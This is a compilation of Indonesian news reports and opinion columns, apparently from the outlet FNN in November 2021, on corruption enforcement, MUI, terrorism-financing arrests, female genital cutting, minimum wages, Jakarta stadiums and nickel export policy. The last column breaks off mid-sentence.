Oleh: Yusuf Blegur Entah apa yang terjadi?. Fenomena apa yang kini sedang menggeluti. Dari tahun ke tahun, bulan ke bulan dan keseharian menempuh waktu, kehidupan manusia semakin terasa jauh dari nilai-nilai ideal. Kering spiritualitas dan tandus akan norma moral. Kelaziman yang terjadi merupakan kontradiksi dengan apa yang seharusnya berlaku. Kebutuhan prinsip tercampakkan. Keinginan menjadi idola bagi setiap hati. Apa yang terjadi tak sesuai dengan apa yang diharapkan kemanusiaan. Setiap pikiran, ucapan dan tindakan tidak pernah bertemu seiring sejalan. Begitupun dengan keadaan disekelilingnya, menjadi asing seperti bukan tempat yang layak untuk ditinggali. Semesta alam menjadi tempat yang tidak lagi nyaman. Kemanusiaan tercerabut dari jiwa kebanyakan orang. Ramai beragama, tapi sepi akan kehadiran Tuhan. Kemuliaan akhlak juga semakin berjarak, semakin jauh dan semakin sulit digapai. Peradaban yang dibangun manusia tak seindah harapan dan kemauan Tuhan. Seperti saat Maha Besar dan Maha Kuasa itu berencana menciptakan semua makhlukNya. Mungkin inilah yang sering disampaikan oleh para pengerti dan pencerah keagamaan. Betapa kehidupan dunia mendekati batas-batas akhir. Ada jaman yang menyudahinya. Dunia juga bisa menua, renta dan rapuh untuk menanggung semua beban di dalamnya. Hamparan bumi jika ia bisa membahasa, mungkin saja lebih mengeluh menanggung beban beratnya. Beban puncak yang dipikulnya terutama oleh kehadiran dan pola tingkah manusia. Kelakuan yang aku, yang tak menganggap keberadaan dan kehormatan selainnya. Beragam tipe manusia yang menyesak dunia. Memang tak terbendung berhimpun dan saling menyusup, betapapun luasnya dunia dihadirkan. Karena sejatinya, dunia dan seisinya memang tak seluas penciptanya. Ada manusia yang merebahkan diri mencium bumi dengan sujudnya. Sedikit yang seperti ini mampu merendahkan dirinya hingga sejajar dengan tanah, wadah yang menjadi bahan asal wujudnya. Namun tidak sedikit yang lebih suka tetap berdiri menantang dan angkuh dengan sorot matanya. Ingin tetap berbeda, memengaruhi dan terasa istimewa. Ia tak punya waktu walau hanya untuk sekedar merunduk. Banyak yang berusaha menjejakkan kakinya ke bumi. Namun tak sedikit yang menggantung dirinya. Tidak menapak di bumi dan tak mampu terbang ke langit. Ia seperti bergentayangan di jarak atas dan bawah. Tak ada kesadaran untuk memikul maupun terpikul beban sesamanya. Setiap yang di atas menunggu kejatuhannya. Sementara yang di bawah terasa sulit naik, meskipun dengan merangkak dan bersusah payah. Tanpa disadari manusia melayang-layang dan terhempas terombang-ambing tanpa sandaran Sang Khalik. Sekalipun perangai yang mengisi perbedaan tempat itu dipertemukan. Bukanlah suasana yang harmonis dan menyenangkan. Pasti ada rasa sakit, entah bertubrukan, saling menindih atau mengorbankan sesamanya. Penuh pertikaian demi mendapatkan kesenangan dan kepuasannya masing-masing. Manusia terbukti memenuhi sejarah dengan tragedi dan kengerian. Melumuri dunia dengan kekecewaan, frustasi dan yang menyayat hati. Perjalanan hidup terlanjur dipenuhi dengan warna kebiadaban. Pada waktu tertentu, ada kalanya manusia bisa mewujud sebagai hewan yang paling buas dan berbahaya di dunia. Boleh jadi semesta alam mulai menggerutu dengan kelamaan hidup manusia. Panjangnya usia yang hanya menampilkan rasa tak bersyukur dan berisi penuh kemudharatan. Menimbulkan konflik sesama, membuat kerusakan di bumi, gemar menumpahkan darah dan saling membunuh. Tidak jarang yang mengambil posisi dan peran Tuhan. Bertindak ingin dipuja, diikuti kemauannya, dan diagungkan oleh sesamanya. Menampilkan watak paling unggul dan superior. Manusia-manusia dengan keangkuhannya yang sesungguhnya lemah dan tak berdaya, namun ingin merebut kekuasaan Tuhan. Begitulah kenyataannya, luasnya bumi dan segala rezeki yang berlimpah, tak akan cukup menampung besarnya nafsu syahwat manusia. Menyaksikan langsung betapa manusia mulai membosankan, mengecewakan dan memuakkan. Alam seperti menunggu perintah untuk ikut menghukum manusia. Alam memang tak seramah dan sebijak seperti Tuhan Sang Pengatur Segalanya. Mungkin ketidaksabaran alam, karena keterbatasannya yang seperti manusia. Alam bisa sangat reaktif kepada manusia tatkala lingkungannya terusik. Menjelma menjadi bencana yang hanya bisa ditangisi dengan kepiluan yang teramat sangat. Meskipun semua itu tetap dengan permohonan dan ijin pemilik langit dan bumi yamg hakiki. Manusia dan seisi alam, meski bisa bergejolak ia tetap lemah dan tunduk dihadapan Sang Pencipta. Saat ini mungkin saja Tuhan sedang menghitung-hitung apa yang salah dan benar di dunia. Menyiapkan ganjaran baik buruk setiap yang dilakukan mahluknya. Bisa saat ini, bisa kelak kemudian "punish and reward" itu dieksekusi. Dalam tubuh saat menghirup napas kehidupan, saat memasuki alam kematian dan bahkan pada masa tatkala semua dibangkitkan. Namun Tuhan yang Esa, sungguh penuh kasih dan penuh kasih sayang terhadap semua makhluknya. Betapapun manusia membuat kerusakan dan berlaku dzolim di dunia. Kekuatan Tauhid itu tetap maha bijaksana dan menjadi hakim yang adil. Sampai manusia melampaui batas, mengabaikan dan merebut kekuasaan Tuhan. Serta lupa diri dirasuki mabuk kekuasaan dan mulai menuhankan dirinya. Penulis, Pegiat Sosial dan Aktifis Yayasan Human Luhur Berdikari.

Pimpinan KPK Respons Pernyataan Anggota Komisi III DPR Soal OTT

Jakarta, FNN - Wakil Ketua Komisi Pemberantasan Korupsi (KPK) Nurul Ghufron merespons pernyataan Anggota Komisi III DPR Arteria Dahlan yang menyebut polisi, hakim hingga jaksa tidak layak dijerat dengan operasi tangkap tangan (OTT) karena termasuk sebagai simbol negara. Ghufron mengatakan pernyataan Arteria tersebut bertentangan dengan Pasal 11 Undang-Undang Nomor 19 Tahun 2019 tentang KPK. "Faktanya KPK dalam Pasal 11 dinyatakan bahwa wewenang KPK untuk melakukan penyelidikan, penyidikan maupun penuntutan itu adalah untuk APH (aparat penegak hukum) dan penyelenggara negara," kata Ghufron di Gedung KPK, Jakarta, Jumat. Oleh karena itu, kata dia, sesuai dengan aturan tersebut, KPK berwenang dalam menangani tindak pidana korupsi yang diduga dilakukan aparat penegak hukum maupun penyelenggara negara. "Jadi, tidak ada batasan untuk kemudian terhadap APH maupun penyelenggara negara tidak perlu ditindaklanjuti gitu ya, tidak perlu di OTT. Berarti kan bertentangan dengan semangat bahwa KPK dihadirkan untuk menangani penyelidikan, penyidikan, dan penuntutan terhadap APH dan penyelenggara negara. Itu subjek yang menjadi sasaran KPK adalah untuk itu," tutur Gufron. "KPK dihadirkan ataupun kemudian didirikan salah satunya untuk menegakkan tindak pidana korupsi yang dilakukan atau diduga dilakukan oleh APH, yaitu penegak hukum dan penyelenggara negara sehingga pernyataan yang bersangkutan tentu bertentangan dengan semangat Pasal 11 Undang-Undang Nomor 30 Tahun 2002 jo Undang-Undang Nomor 19 Tahun 2019 tentang KPK," tambahnya. (sws, ant)

Mimpi Bubarkan MUI

By M Rizal Fadillah Di antara khayalan untuk bisa mengecilkan umat Islam oleh kelompok Islamofobia, sekuler, liberalis dan komunis di era Jokowi adalah membubarkan MUI. Mimpi sambil ngelindur dan bicara ngelantur. Berjalan miring terlalu banyak minum. Berkumpul di cafe buzzeria d'amplopia. Berkhayal sukses untuk membubarkan kelompok radikal, kadrun, dan perongrong negara. Para Kyai intoleran dan tukang kritik yang dianggap buta atas kemajuan dan kehebatan negara di bawah kepemimpinan Presiden jenius produk dari suara kardus. Bahagia bahwa MUI telah dihancurkan oleh akal bulus ditambah dukungan fulus. Mimpi tinggal mimpi, MUI bukan FPI atau HTI yang menjadi organisasi keagamaan yang dianggap tidak berdampak atas pembubarannya. MUI itu merepresentasi hampir semua organisasi kemasyarakatan Islam, ulama serta cendekiawan. Pembubaran dipastikan berimplikasi luas. Implikasi atau konsekuensi pembubaran yang patut diperhitungkan dan menjadi kesulitan kelompok yang berkumpul di cafe buzzeria d'amplopia, yaitu : Pertama, Ketua Dewan Pertimbangan MUI Pusat adalah KH Ma'ruf Amin yang tidak lain merupakan Wakil Presiden RI. Tokoh NU yang berpengaruh. Demikian juga dengan Ketua Umum MUI KH Miftachul Akhyar adalah tokoh NU pula. Kedua, membubarkan MUI sama saja dengan keharusan untuk membubarkan wadah serupa dari agama lain seperti DGI, MAWI, PHDP, dan Walubi. MUI sebagai wadah umat mayoritas saja dapat dibubarkan apalagi yang lain. Akan terjadi kekacauan atas eksistensi keberagamaan beserta kelembagaannya. Ketiga, MUI sebagai wadah yang merepresentasi berbagai ormas Islam memiliki jalinan akar rumput yang kuat, karenanya reaksi besar dari potensi kekuatan Islam tidak akan terhindarkan. Gelombang besar aksi menjadi suatu keniscayaan. Keempat, kewenangan Pemerintah untuk membubarkan juga tidak ada. MUI bukan organ Pemerintah. Dibentuk berdasarkan musyawarah Ulama, Zu'ama, dan Cendekiawan Muslim dari unsur NU, Muhammadiyah, SI, Perti, Al Washliyah, MA, MDI, GUPPI, PTDI, Al Ittihadiyah, utusan kerohanian AD, AU, AL, Polri serta tokoh perseorangan pada tanggal 26 Juli 1975. Kelima, MUI bukan badan, lembaga, komisi negara yang "dibentuk dengan undang-undang atau Pemerintah atas perintah undang-undang" sebagaimana diatur dalam UU No 11 tahun 2012. Meskipun demikian Fatwa MUI telah menjadi sandaran untuk berbagai lembaga keuangan syariah termasuk Dewan Syari'ah Nasional. Begitu juga dengan sertifikasi halal. Pembubaran akan berdampak pada produk hukum. Sebagai "Quasi Autonomous Non Governmental Organization (quANGO)" maka tidaklah mudah untuk membubarkan MUI. Karenanya dengan alasan bahwa ada anggota pengurus yang ditangkap dengan tuduhan terorisme, lalu menjadi dasar untuk pembubaran, adalah mengada-ada. Isu dan desakan itu adalah mimpi-mimpi dari para pembenci Islam yang mengira tidak akan mendapat perlawanan. Bila Pemerintah berani membubarkan MUI dengan berbagai alasan buatan, maka bukan mimpi lagi jika ternyata Pemerintah kini yang justru akan dibubarkan oleh umat Islam. *) Pemerhati Politik dan Keagamaan

Polri Kenakan Pasal Pendanaan Teroris kepada Tiga Mubaliq

Jakarta, FNN - Detasemen Khusus (Densus) 88 Antiteror Polri menerapkan Pasal 4 Undang-Undang Nomor 9 Tahun 2013 tentang Pendanaan Terorisme kepada tiga mubaliq yang ditangkap di Bekasi, Jawa Barat. Tiga mubaliq yang ditangkap tersebut, yakni Ahmad Zain An Najah, Farid Ahmad Okbah, dan Anung Al Hamat. Ketiganya terlibat dalam aktivitas lembaga pendanaan kelompok teroris Jamaah Islamiyah (JI) bernama Lembaga Amil Zakat Badan Mal Abdurrahman Bin Auf (LAM BM ABA). "Yang terkait dengan lembaga amil zakat akan dipersangkakan dengan undang-undang khusus yaitu Nomor 9 Tahun 2013 tentang Pendanaan Terorisme," kata Kepala Bagian Penerangan Umum (Kabagpenum) Divisi Humas Polri Kombes Pol Ahmad Ramadhan kepada awak media di Gedung Divisi Humas Polri, Jakarta Selatan, Jumat. Ramadhan menjelaskan bahwa Pasal 4 UU RI Nomor 9 Tahun 2013 menerangkan segala perbuatan dalam rangka menyediakan, mengumpulkan, memberikan, atau meminjamkan dana, baik langsung maupun tidak langsung dengan maksud untuk digunakan dan/atau yang diketahui akan digunakan untuk melakukan kegiatan terorisme, organisasi teroris, atau teroris. Jika memenuhi unsur, kata Ramadhan, pertanggungjawaban pidana pelaku pendanaan terorisme, yaitu maksimal 15 tahun penjara dan maksimal denda satu miliar rupiah bagi pelaku perorangan serta denda maksimal seratus miliar rupiah bagi pelaku korporasi. "Pelaku korporasi dapat dijatuhi pidana dalam bentuk pidana tambahan," kata Ramadhan. Ketiga mubaliq tersebut telah ditetapkan sebagai tersangka dugaan tindak pidana terorisme dan dikenakan pula Pasal 15 Jo Pasal 7 Undang-Undang Nomor 15 Tahun 2018 tentang Terorisme. Tiga mubaliq Ahmad Zain An-Najah, Farid Ahmad Okbah dan Anung Al Hamat ditangkap Densus 88 Antiteror Polri di wilayah Bekasi, Jawa Barat, Selasa (16/11). Hasil penyidikan Densus 88 Antiteror bahwa Ahmad Zain An-Najah merupakan Ketua Dewan Syariah Lembaga Amil Zakat Baitul Mal Abdurrahman Bin Auf (LAM BM ABA), sedangkan Farid Ahmad Okbah merupakan anggota Dewan Syariah LAM BM ABA, sedangkan Anung Al Hamat sebagai pendiri lembaga bantuan hukum JI bernama Perisai Nusantara Esa. LAM BM ABA merupakan lembaga pendanaan yang dikelola oleh kelompok JI, sedangkan Perisai Nusantara Esa merupakan organisasi sayap kelompok JI. Adapun Ahmad Zain An Najah tercatat sebagai anggota Komisi Fatwa MUI Pusat yang sudah dinonaktifkan setelah penangkapan. Begitu pula Farid Ahmad Okbah, juga dinonaktifkan sebagai pengurus MUI Bekasi Bagian Komisi Fatwa. (sws, ant)

Musyawarah Ulama Pesantren Terbitkan Rekomendasi Cegah Sunat Perempuan

Jakarta, FNN - Musyawarah Ulama Pesantren II mengeluarkan rekomendasi yang mendorong pemerintah agar segera membuat regulasi yang melarang praktik FGM/C (female genital mutilation/cutting) atau P2GP (pemotongan dan perlukaan genitalia perempuan). Musyawarah Ulama Pesantren II digelar Kementerian Pemberdayaan Perempuan dan Perlindungan Anak bersama para ulama pesantren juga mengajak seluruh ulama dan tokoh masyarakat untuk memberikan pemahaman yang komprehensif tentang bahaya tersebut kepada masyarakat. "Praktik P2GP harus mendapat perhatian seluruh kalangan karena banyak menimbulkan korban dan mudarat serta terbukti secara medis merugikan perempuan, baik fisik maupun psikis," kata dosen UIN Syarif Hidayatullah Iffatul Umniati Ismail melalui siaran pers yang diterima ANTARA di Jakarta, Jumat. Menurut dia, fenomena P2GP merupakan adat istiadat dan tradisi yang dipraktikkan secara eksklusif oleh sekelompok masyarakat sepanjang sejarah. Praktik ini dibuktikan secara cukup meyakinkan oleh sebagian ulama dan para sejarawan. Di samping itu, praktik P2GP sering kali disalahpahami sebagai pemenuhan perintah khitan bagi perempuan. Padahal, tidak ditemukan satu dalil pun yang menganjurkannya di dalam sumber-sumber otoritatif hukum Islam. Sebaliknya, kata dia, khitan telah disepakati seluruh ulama diperuntukkan bagi laki-laki berdasarkan dalil yang sahih dan sharih dan menemukan dukungannya dalam perkembangan dunia medis. Poin rekomendasi lainnya, sebagai agama yang rahmatan lil alamin dan melindungi kelompok lemah dan rentan (anak-anak) maka praktik memerintahkan dan melakukan P2GP dilarang keras oleh agama, kecuali untuk kemaslahatan pada kasus-kasus tertentu saja sesuai dengan pertimbangan medis. Sementara itu, Pimpinan Pesantren Darul Ulum Rejoso Peterongan Jombang Ali Muhsin menekankan bahwa rumusan rekomendasi dari ulama sebagai tokoh yang dipercaya oleh masyarakat menjadi hal yang sangat penting. "Rekomendasi tersebut diharapkan dapat menjadi pertimbangan bagi penetapan fatwa oleh Majelis Ulama Indonesia dan pembuat kebijakan dari Kementerian Kesehatan dan Kementerian Agama. Hal itu diharapkan dapat menjadi payung hukum bagi para tenaga kesehatan dan masyarakat," kata Ali. Musyawarah Ulama Pesantren II digelar Kementerian Pemberdayaan Perempuan dan Perlindungan Anak bersama para ulama pesantren untuk menghasilkan rekomendasi untuk kemaslahatan bagi semua pihak khususnya perempuan sebagai pihak yang terdampak praktik P2GP.

Upah Minimum Indonesia Terlalu Tinggi, Ini Penjelasan Staf Khusus Menaker

Jakarta, FNN - Staf Khusus Menteri Tenaga Kerja (Menaker) Dita Indah Sari menjelaskan pernyataan Menaker Ida Fauziyah soal tingginya upah minimun di Indonesia. Dalam keterangan tertulis di Jakarta, Jumat (19/11), Dita mengatakan bahwa pernyataan Menaker yang menyebutkan upah minimum terlalu tinggi menggunakan komparasi atau pembanding nilai produktivitas tenaga kerja di Indonesia. "Ketika Ibu (Menaker) mengatakan bahwa upah minimum yang ada ketinggian, itu bukan menganggap bahwa pekerja itu sah mendapatkan upah lebih rendah," kata Dita. Dita menyebutkan nilai produktivitas tenaga kerja di Indonesia sebetulnya masih cenderung rendah jika dibandingkan dengan upahnya. Ia menyebutkan nilai efektivitas tenaga kerja di Indonesia itu masuk ke dalam urutan ke-13 di Asia. "Baik jam kerjanya maupun tenaga kerjanya, ini umum secara nasional. Bukan berarti semua orang layak dikasih gaji kecil," ujarnya. Dari sisi jam kerja saja, kata dia, di Indonesia sudah terlalu banyak hari libur bagi pekerja. Bila dibandingkan dengan negara Asia Tenggara saja, jumlah hari libur di Indonesia masih terlalu banyak. Jika dibandingkan dengan Thailand, misalnya, jam kerja di Indonesia lebih sedikit di tiap minggunya. Di Thailand dalam seminggu jam kerja mencapai 42—44 jam, sementara di Indonesia hanya 40 jam. Pada hari libur, di Indonesia dalam setahun ada 20 hari libur, itu belum ditambah beragam cuti, mulai dari cuti bersama, cuti tahunan, cuti kelahiran anak, cuti khitanan, cuti menikah, hingga cuti keluarga meninggal. Sementara itu, di Thailand setahunnya cuma ada kurang lebih 15 hari libur saja. Dengan makin sedikitnya jam kerja, menurut Dita, output atau hasil kerja yang dilakukan tenaga kerja di Indonesia pun menjadi minim. Otomatis nilai produktivitas pun jadi rendah. "Di situ pembandingnya karena nilai jam kerja jadi lebih sedikit. Makanya, upah itu ketinggian, tidak sesuai dengan produktivitas jam kerja dan efektivitas tenaga kerja," kata Dita. Menurut dia, kalau upah tidak cocok dengan output, kesimpulannya upah terlalu tinggi. Ia menyebutkan pula bahwa data pun membuktikan nilai produktivitas tenaga kerja di Indonesia memang rendah. Di Thailand, poinnya mencapai 30,9, sedangkan di Indonesia hanya 23,9 poin. Bila bicara nominal, lanjut dia, upah minimum di Indonesia terlalu ketinggian. Di Thailand dengan nilai produktivitas 30,9 poin, upah minimumnya mencapai Rp4.104.475,00, upah minimum itu diberlakukan di Phuket. Sementaradi Indonesia, dengan upah minimum di Jakarta mencapai Rp4.453.724,00, padahal nilai produktivitasnya cuma mencapai 23,9 poin. Sebagai informasi upah minimum Jakarta yang dimaksud adalah simulasi terakhir dari Kemenaker dan BPS upah minimum pada tahun 2022. Dalam simulasi itu upah minimum naik 1,09 persen secara nasional, Jakarta menjadi provinsi dengan upah minimum tertinggi. (sws, ant)

Stadion Tegal Alur

Oleh Ridwan Saidi TAHUN 1932 tiga klub bola menemui MH Thamrin di rumahnya Jl. Sawah Besar No. 32. Mereka yang datang antara lain Cahaya Kwitang, de Bruiner, dan Sencaki. Ketiganya klub bola pribumi. Mereka mengeluh tidak ada lapangan bola yang mereka bisa gunakan. Thamrin: Pan ade Decca Park, Vios, BVC. Ga bisa ente pake? Sencaki: Pula' kate pake, Bang, tibang ngelirik aje tempo-tempo kite digaplok. Thamrin: Anak Chine maen di mane? Cahaya Kwitang: Die enak Bang, punya lapangan sendiri, ade Petak Sinkian, ade Taman Sari. De Bruiner: Ade lapangan Blangwir (brandweer,) di gang Ketapang, tapi umum gak bisa pake. Thamrin: Gini deh ente cari tanah yang loas, ente lapor ke ane. Akhirnya dapat lapangan di belakang Roxy. Bang Thamrin bayar dan mejadikannya stadion. Klub-klub bola di Jakarta semua gabung dalam Voetbal Indonesische Jacatra. Potong letter VIJ. Lapangan VIJ sampai kini masih ada. Lapangan Vios di Menteng. Vios nama klub bola juga. Tahun 1950-an stoper spil (center half) Vios terkenal, namanya Boelard van Tuijl. Kalau menendang bola tinggi, kata orang Betawi sepuhun kelape. Periode Gubernur DKI lapangan Vios menjadi Taman Menteng. Fauzi Bowo, pengganti bang Yos, merancang stadion Persija di Tegal Alur, Kalideres, Jakarta Barat. Alakulihal, tahun 2011 stadion Tegal Alur rampung. Tunggu punya tunggu tahun berbilang tahun, stadion tak pernah dipakai. Saya tinjau lapangan tersebut ternyata dari titik 3 km ke stadion akses jalan kelebarannya pas becak verwijzen, papasan. Fauzi Bowo tak bisa disalahkan begitu saja karena dia sesuai rencana cuma bangun stadion. DPRD kenapa ketok martil. Kemendagri kenapa manggut-manggut? Syukurlah, Jakarta akan punya stadion yang lebih hebat dari Madrid. Lokasi di bekas lapangan BMW di Sunter. Tapi bisa juga diakses dari Jl Papango (penjahit pakaian, idem Andara, atau di Minang: Biaro). Rumputnya juga OK. Misal doyan, jenis rumputan ini semacan tikim, bisa caplok langsung zonder dijadikan asinan dulu. Tapi persoalan Madrid Sunter sama dengan Tegal Alur, akses jalan ke stadion. Motor tak soal, tapi mobil. Untung muncul rencana susulan: MRT dan LRT siap menghantar dari titik-titik SKA yang akan ditentukan. Persoalan perencanaan selanjutnya ada pada PT KAI. Potensi penonton Madrid Sunter 100.000, mungkin kedatangan bisa diatur, kepulangan tak mudah. Karena 100.000 penonton mau pulang as soon as possible, sedangkan stasion di Madrid Sunter cuma dua. Yang lebih penting, bagaimana fasilitas angkut bagi kesebelasan-kesebelasan undangan? Lipri dan tukang kebut bertaraf international? Ini cuma patungan (urun) pikiran. Ém sori. *) Budayawan

Dukung Penghentian Ekspor Nikel Mentah, LaNyalla: Kedaulatan Bangsa Harus Ditegakkan!

MUNA, FNN - Ketua DPD RI, AA LaNyalla Mahmud Mattalitti, mendukung penuh kebijakan Presiden Joko Widodo yang melarang ekspor bahan mentah bijih nikel. Meskipun dihantui aduan ke WTO. LaNyalla mengatakan, Indonesia tidak perlu takut dengan ancaman negara-negara Eropa yang akan membawa masalah ini ke organisasi perdagangan dunia, WTO. "Justru ini saat yang tepat untuk memperlihatkan kedaulatan Indonesia sebagai sebuah negara. Buktikan jika kita negara yang kuat," tutur LaNyalla saat melakukan kunjungan kerja ke Sulawesi Tenggara, Jumat (19/11/2021). Senator asal Jawa Timur itu berharap Presiden Joko Widodo konsisten dengan sikapnya. "Harus ada komitmen dari pemerintah. Jangan sampai ucapan yang disampaikan presiden digembosi dengan ditakut-takuti. Kita akan dukung agar Presiden konsisten dengan sikapnya," jelasnya. Dalam penilaian LaNyalla, ekonomi Indonesia sebenarnya sangat kuat. Ia mengibaratkan ekonomi Indonesia sebagai kapal yang memiliki tiga palka. Dijelaskannya, tiga palka yang dimiliki Indonesia untuk menunjang ekonomi adalah koperasi, BUMN dan swasta. "Dengan tiga palka itu, seandainya kapal bocor tidak akan sampai tenggelam. Artinya, ketiganya harus dipisahkan dengan jelas antara koperasi atau usaha rakyat, BUMN dan swasta, namun tetap berada di dalam struktur bangunan ekonomi Indonesia," katanya. Dengan begitu, problematika yang dihadapi di salah satu palka tak akan merembet pada hal lainnya. "Misalnya palka BUMN bocor, masih ada swasta dan koperasi. Kebocoran itu hanya berputar-putar di BUMN saja alias tidak berdampak kepada swasta dan koperasi. Andaikan palka BUMN dan swasta bocor, masih ada koperasi yang tetap solid menjaga kapal tetap stabil," jelasnya. Demikian pula bagi rakyat yang tidak punya akses modal dan teknologi, negara wajib hadir memberikan ruang koperasi sebagai alat perjuangan ekonomi rakyat. "Mereka diberi hak mengorganisir dirinya sendiri untuk mendapatkan keadilan ekonomi. Negara menjaga dengan pasti agar BUMN dan swasta yang punya modal dan teknologi tidak masuk ke ruang itu," tegas LaNyalla. Sebagai contoh, jika ada wilayah tambang yang bisa dikerjakan rakyat secara terorganisir melalui koperasi, maka BUMN dan swasta tidak boleh masuk. Menurutnya, hal ini berlaku dengan sektor-sektor yang lain. Sebelumnya, Presiden Joko Widodo bersikukuh melanjutkan proses hilirisasi industri bahan mentah (raw material) tambang. Jokowi tak gentar meskipun kebijakan larangan ekspor bijih nikel digugat Uni Eropa melalui World Trade Organization (WTO). "Jangan kamu tarik-tarik kita ke WTO gara-gara kita setop kirim raw material. Ndak, ndak, ndak. Dengan cara apapun akan kita lawan," seru Jokowi. Mantan Gubernur DKI Jakarta ini bercerita, saat pertemuan G20 banyak negara yang mengeluh soal kebijakan larangan ekspor nikel. Namun, Jokowi menegaskan sikap itu diambilnya agar rakyat Indonesia bisa merasakan nilai tambah (added value), hingga tercipta lapangan kerja yang seluas-luasnya. "Kalau saya buka (ekspor) nikel dan saya kirim raw material, kita kirim raw material dari Indonesia ke Eropa, ke negara-negara lain, yang buka lapangan kerja mereka dong. Kita nggak dapat apa-apa," keluhnya.(RAN)

Anies Tidak Serupa Angin Surga

Oleh Ady Amar *) SEORANG kawan jurnalis senior, yang mangkal di istana di era Presiden Susilo Bambang Yudhoyono (SBY), bercerita bahwa ia tidak perlu susah-susah mengedit laporan untuk medianya, bahkan sampai titik koma pun seolah Pak SBY sudah memberinya. Pak SBY jika bertutur runtut, dengan narasi yang mudah dipahami, meski terkadang perlu memberi penekanan satu-dua kata dengan bahasa asing, tapi tetap tidak berlebihan. Dan dengan intonasi yang terjaga. Sambil sesekali tangan terkadang digerakkan sebagai penekanan pada apa yang disampaikan. Pendengar dibuatnya terkagum, dan juru warta pun merasa dimudahkan. Tidak banyak pejabat yang bisa menyamai SBY, yang ada malah sebaliknya gagap dan acap mengulang-ulang persamaan satu kata sambil berpikir keras kalimat apa selanjutnya yang bisa keluar dari mulutnya. Bersyukur Pak SBY punya pesaing yang jika bicara pun runtut menyejukkan dan penuh optimisme, bahwa tidak ada yang tidak mungkin bisa dikerjakan. Ia lah Anies Baswedan, Gubernur DKI Jakarta, yang bisa disejajarkan dengan Pak SBY dalam hal berkomunikasi dengan baik. Pagi ini, Jumat (19/11) video DISWAY Pak Dahlan Iskan (DI) dikirim seorang kawan. Pastilah video itu beredar luas. Tamu istimewa Pak DI adalah Anies Baswedan. Wawancara khusus berkenaan dengan proyek yang sedang digarapnya, yang nyaris selesai sempurna. Itu tentang Jakarta International Stadium (JIS). Stadion sepak bola bertaraf internasional sebentar lagi akan dinikmati warga Jakarta khususnya, dan terkhusus klub Persija. Ini proyek yang sudah lama dijanjikan calon kepala daerah dalam kontestasi Pilkada DKI Jakarta. Janji demi janji telah disampaikan, yang tanpa realisasi. Hanya sekadar janji pada masa kampanye, tanpa bisa diwujudkan. Pantaslah saat Anies Baswedan maju sebagai kandidat Gubernur DKI Jakarta (2017), berpasangan dengan Sandiaga Uno, saat janji pembangunan stadion buat Persija itu dimunculkan, warga Jakarta, khususnya pecinta klub Persija perlu sampai mengatakan, apakah ia benar akan mewujudkannya. Tentu dengan ketidakpercayaan tingkat tinggi. Itu hal wajar. Pantas saja pada janji kampanyenya itu jika Anies-Sandi dianggap cuma lip service semata, sebagaimana janji-janji kampanye calon kepala daerah sebelumnya, yang sekadar janji tanpa pemenuhan atas janjinya. Maka, Anies secara diam-diam mengerjakan proyek prestisius itu. Ia menceritakan detail jalannya pembangunan stadion itu, bahan yang digunakan, teknik pengerjaannya, dan hal lainnya, dan itu spektakuler. Beberapa kali Pak DI tidak bisa menahan untuk tidak menampakkan kekaguman pada apa yang disampaikan Pak Anies, akan hadirnya sebuah stadion bertaraf internasional. Artinya, seratus persen berstandar FIFA, dari awal perencanaan sampai ujung penyelesaian pembangunannya. Memang tidak semua dialog Pak DI dengan tamu-tamu istimewanya saya ikuti. Dari beberapa yang saya ikuti, baru kali ini Pak DI mendapat tamu istimewa, yang ia tidak perlu harus memutar otak mengulik pertanyaan pada tamunya dalam-dalam. Pak Anies bisa menyelami apa yang ingin ditanya tuan rumah, dan memberikan jawaban yang diperlukan. Pak DI memberikan tamu yang satu ini kebebasan untuk terus berbicara, tanpa ia harus memotong di sana-sini seperti biasanya, sehingga menjadi tidak tahu mana tuan rumah dan mana tamunya. Pak DI ikhlas tampil sebagai pendengar yang baik, dan memberi tamunya kebebasan berbicara. Sehingga yang muncul sikap kekaguman Pak DI yang ekspresif yang tidak bisa ditahannya. Itu karena Anies dalam menceritakan pekerjaan teknis pembangunan JIS itu dengan runtut sejak awal sampai stadion itu nyaris selesai dikerjakan. Cukup dua-tiga pertanyaan diajukan, dan sang tamu memberi jawaban memuaskan. Sesekali Pak DI menimpali saat Anies memberi penjelasan bagaimana moda transportasi yang ada akan tersambung dengan JIS. Baik bus, LRT dan lainnya. Di mana yang tidak jauh dari stadion akan bertengger stasiun kereta api. Lalu Pak DI menimpali, bahwa itu sama dengan stadion Chelsea. Di mana ia dari hotel tempat ia menginap menuju stadion itu cukup naik kereta api. Di mana menuju stadion ia hanya cukup berjalan kaki. Anies Baswedan mampu melepaskan "kutukan" ketidakpercayaan warga pada Gubernurnya, yang dari waktu ke waktu cuma menghadirkan janji tanpa bukti. Anies mematahkannya dengan menepati janji menghadirkan stadion sepak bola megah dan prestisius, yang bisa disandingkan dengan stadion-stadion manca negara ternama lainnya. Pak DI juga dibuat tercengang, bahwa pada bulan Desember 2021, artinya sebulan lagi, akan bertanding beberapa klub raksasa dunia U-20, antara lain Juventus, Real Madrid, Barcelona... setidaknya 3 klub sepak bola dunia itu disebut Anies yang membuat Pak DI takjub, tanpa mampu membendung kekagumannya. Pada menit 14:47, ada pertanyaan Pak DI tampak menggoda, dan tidak biasanya ia masuk wilayah sensitif, meski disampaikan dengan canda. Pak Anies menjawabnya pun dengan tertawa dan tetap cool optimistik. Begini tanya Pak DI: "Saya pantas gak, saya khawatir bahwa pertandingan bulan depan itu tidak dapat ijin. Pantas gak saya berpikir jangan-jangan gak dapat ijin." Anies menjawab, "Mudah-mudahan kalau situasinya terkendali seperti sekarang... (belum selesai Anies menjawab tuntas), Pak DI memotong, "Bukan karena covid, tapi ini soal karena ada nama Pak Anies Baswedan di sana." Sambil tertawa Anies menjawab, "Mudah-mudahan tidak..." Sekelas Pak DI, yang begawan media, itu pun perlu menanyakan akan kekhawatirannya. Ia pantas khawatir, bahwa pertandingan ekshibisi di JIS itu akan gagal dilaksanakan. Dan itu politis. Publik luas pun mafhum, bahwa nama Anies Baswedan itu momok menakutkan bagi mereka yang tidak siap menyambut perhelatan Pilpres 2024 itu dengan fair. Karenanya, sebisa mungkin kerja-kerja Anies Baswedan ingin dijegal dengan berbagai cara. Formula E bisa jadi pembenar akan kekhawatiran itu, yang terus diserang tak henti. Berharap akan gagal dilaksanakan. Mereka terus bekerja untuk menggagalkan perhelatan yang digagas Pak Anies dan Pemprov DKI. Segala cara sudah dicoba dan akan terus dicoba. Kekaguman Pak DI yang tidak bisa disembunyikan, itu juga kekaguman kita, terutama mereka yang masih bisa melihat semuanya dengan hati dan nalar sehat. Namun, jika masih ada pendengung yang 